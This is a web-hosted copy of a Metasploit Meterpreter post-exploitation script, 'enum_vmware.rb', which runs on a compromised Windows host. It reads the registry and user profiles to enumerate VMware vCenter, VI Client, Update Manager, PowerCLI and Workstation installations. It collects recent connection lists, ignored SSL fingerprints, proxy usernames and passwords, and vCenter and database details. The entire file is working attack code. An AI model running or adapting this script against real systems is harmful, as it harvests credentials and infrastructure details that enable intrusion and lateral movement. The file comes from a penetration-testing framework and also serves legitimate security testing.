Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/enum_vmware.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Carlos Perez at carlos_perez[at]darkoperator.com8#-------------------------------------------------------------------------------9################## Variable Declarations ##################10@client = client1112opts = Rex::Parser::Arguments.new(13"-h" => [ false,"Help menu." ]14)1516opts.parse(args) { |opt, idx, val|17case opt18when "-h"19print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products")20print_line("USAGE: run vmware_enum")21print_line(opts.usage)22raise Rex::Script::Completed23end24}2526def check_prods()27key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ)28sfmsvals = key.enum_key29print_status("The Following Products are installed on this host:")30sfmsvals.each do |p|31print_status("\t#{p}")32end33return sfmsvals34end3536def check_vmsoft37installed = false38key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ)39sfmsvals = key.enum_key40if sfmsvals.include?("VMware, Inc.")41print_status("VMware Products are Installed in Host")42installed = true43else44print_error("No VMware Products where found in this Host.")45end46key.close47return installed48end4950def enum_vcenter51print_status("Information about Virtual Center:")52vc_dbuser = nil53vc_dbencpass = nil54vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion")55vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial")56vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName")57vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType")58vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version")59vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType")60vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1")61vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4")62# vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection")63# print_line("*")64# if vc_odctrustcon.to_i != 165# vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2")66# print_line("*")67# vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3")68# print_line("*")69# end70vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database")71vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server")72print_status("\tVersion: #{vc_version}")73print_status("\tSerial: #{vc_serial}")74print_status("\tvCenter Type: #{vc_type}")75print_status("\tTomcat Version: #{vc_tomcatver}")76print_status("\tDatabase Instance: #{vc_dbinstance}")77print_status("\tDatabase Type: #{vc_dbtype}")78print_status("\tDatabase Name: #{vc_dbname}")79print_status("\tDatabase Server: #{vc_dbserver}")80print_status("\tODBC Name: #{vc_odbcname}")81print_status("\tODBC Type: #{vc_odbctype}")82# if vc_odctrustcon.to_i != 183# print_status("\tODBC Username: #{vc_dbuser}")84# print_status("\tODBC Password: #{vc_dbencpass}")85# end86end8788def enum_viclient89print_status("Information about VMware VI Client:")90vi_pluggins = nil91begin92vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion")93vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins")94rescue95end96print_status("\tVersion: #{vi_version}")97if vi_pluggins98vi_pluggins.each do |pi|99if pi=~ /Converter/100print_status("\tPlugin: VMware Converter")101elsif pi =~/UM/102print_status("\tPlugin: VMware Update Manager")103else104print_status("\tPlugin: #{pi}")105end106end107end108109if not is_system?110recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",")111print_status("Recent VI Client Connections:")112recentconns.each do |c|113print_status("\t#{c}")114end115ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore")116if ignore_ssl.length > 0117print_status("\tIgnored SSL Certs for")118ignore_ssl.each do |issl|119ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl)120print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}")121end122123end124else125user_sid = []126key = "HKU\\"127root_key, base_key = @client.sys.registry.splitkey(key)128open_key = @client.sys.registry.open_key(root_key, base_key)129keys = open_key.enum_key130keys.each do |k|131user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/132end133user_sid.each do |us|134begin135enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME")136print_status("\tRecent VI Client Connections for #{enumed_user}:")137recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",")138recentconns.each do |c|139print_status("\t#{c}")140end141ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore")142if ignore_ssl.length > 0143print_status("\tIgnored SSL Certs for #{enumed_user}:")144ignore_ssl.each do |issl|145ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl)146print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}")147end148149end150rescue151print_status("\tUser appears to have not used the software.")152end153end154end155end156157def enum_vum158print_status("Information about VMware Update Manager:")159begin160vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion")161vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer")162vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType")163vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess")164vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy")165vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer")166vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort")167vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName")168vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword")169vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer")170vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName")171vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore")172vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1")173vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4")174vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database")175vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server")176# vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection")177# if vum_trustedcon.to_i != 1178# vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2")179# vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3")180# end181print_status("\tVersion: #{vum_version}")182print_status("\tServer: #{vum_server}")183print_status("\tPatch Store: #{vum_patchstore}")184print_status("\tDatabse Type: #{vum_dbtype}")185print_status("\tUses Proxy: #{vum_useproxy}")186print_status("\tProxy User: #{vum_proxyuser}")187print_status("\tProxy Password: #{vum_proxypass}")188print_status("\tVirtual Center: #{vum_vcentersrv}")189print_status("\tVirtual Center User: #{vum_vcenterusr}")190print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}")191print_status("\tDatabase Name: #{vum_dbname}")192print_status("\tDatabase Server: #{vum_dbserver}")193print_status("\tODBC Name: #{vum_odbcname}")194print_status("\tODBC Type: #{vum_odbctype}")195# print_status("\t ODBC Trusted: #{vum_trustedcon}")196# if vum_trustedcon.to_i != 1197# print_status("\tODBC Username: #{vum_odbcusename}")198# print_status("\tODBC Password: #{vum_odbcpass}")199# end200rescue ::Exception => e201print_status("Error: #{e.class} #{e}")202end203204end205206def enum_vdm207print_status("Information about VMware VDM Broker:")208vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion")209print_status("\tVersion: #{vdm_version}")210end211212def enum_powercli213print_status("Information about PowerCLI:")214pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion")215pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath")216begin217pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy")218rescue219pcli_poweshell_policy = "Restricted"220end221print_status("\tVersion: #{pcli_version}")222print_status("\tInstalled Pat: #{pcli_install_path}")223print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}")224end225226#Function to enumerate the users if running as SYSTEM227def enum_users228os = @client.sys.config.sysinfo['OS']229users = []230path4users = ""231sysdrv = @client.sys.config.getenv('SystemDrive')232233if os =~ /7|Vista|2008/234path4users = sysdrv + "\\users\\"235profilepath = "\\AppData\\Local\\VMware\\"236else237path4users = sysdrv + "\\Documents and Settings\\"238profilepath = "\\Application Data\\VMware\\"239end240241if @client.sys.config.is_system?242print_status("Running as SYSTEM extracting user list..")243@client.fs.dir.foreach(path4users) do |u|244userinfo = {}245next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/246userinfo['username'] = u247userinfo['userappdata'] = path4users + u + profilepath248users << userinfo249end250else251userinfo = {}252uservar = @client.sys.config.getenv('USERNAME')253userinfo['username'] = uservar254userinfo['userappdata'] = path4users + uservar + profilepath255users << userinfo256end257return users258end259def enum_vihosupdt260hosts = []261print_status("Information about VMware vSphere Host Update Utility:")262enum_users.each do |u|263print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:")264begin265@client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir|266next if vmdir =~ /^(\.|\.\.)$/267print_status("\t#{vmdir}")268end269rescue270end271end272end273274def enum_vmwarewrk275config = ""276name = ""277print_status("Enumerating VMware Workstation VM's:")278fav_file = ""279enum_users.each do |u|280print_status("\tVM's for user #{u['username']}:")281path = u['userappdata'].gsub(/Local/,"Roaming")282account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb")283until account_file.eof?284fav_file << account_file.read285end286end287fav_file.each_line do |l|288289if l =~ /config/290print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}")291end292if l =~ /Name/293print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}")294print_status("")295end296end297end298if client.platform == 'windows'299if check_vmsoft300vmware_products = check_prods()301if vmware_products.include?("VMware VirtualCenter")302enum_vcenter303end304if vmware_products.include?("VMware Virtual Infrastructure Client")305enum_viclient306end307if vmware_products.include?("VMware Update Manager")308enum_vum309end310311if vmware_products.include?("VMware VDM")312enum_vdm313end314if vmware_products.include?("VMware vSphere PowerCLI")315enum_powercli316end317if vmware_products.include?("VMware vSphere Host Update Utility 4.0")318enum_vihosupdt319end320if vmware_products.include?("VMware Workstation")321enum_vmwarewrk322end323else324print_status("No VMware Products appear to be installed in this host")325end326else327print_error("This version of Meterpreter is not supported with this Script!")328raise Rex::Script::Completed329end330331332